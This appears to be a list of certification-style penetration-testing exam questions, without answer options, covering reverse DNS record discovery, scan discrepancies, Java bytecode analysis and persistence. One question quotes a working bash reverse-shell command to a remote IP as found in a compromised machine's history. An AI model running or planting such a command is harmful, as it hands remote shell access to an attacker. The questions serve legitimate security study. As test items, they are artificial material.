A penetration tester wants to script out a way to discover all the RPTR records for a range of IP addresses. Which of the following is the MOST efficient to utilize?

The following line was found in an exploited machine's history file. An attacker ran the following command:
bash -i >& /dev/tcp/192.168.0.1/80 0> &1
Which of the following describes what the command does?

The results of a basic compliance scan show a subset of assets on a network. This data differs from what is shown on the network architecture diagram, which was supplied at the beginning of the test. Which of the following are the MOST likely causes for this difference? (Select TWO)

A company contracted a firm specializing in penetration testing to assess the security of a core business application. The company provided the firm with a copy of the Java bytecode. Which of the following steps must the firm take before it can run a static code analyzer?

After establishing a shell on a target system, Joe, a penetration tester is aware that his actions have not been detected. He now wants to maintain persistent access to the machine. Which of the following methods would be MOST easily detected?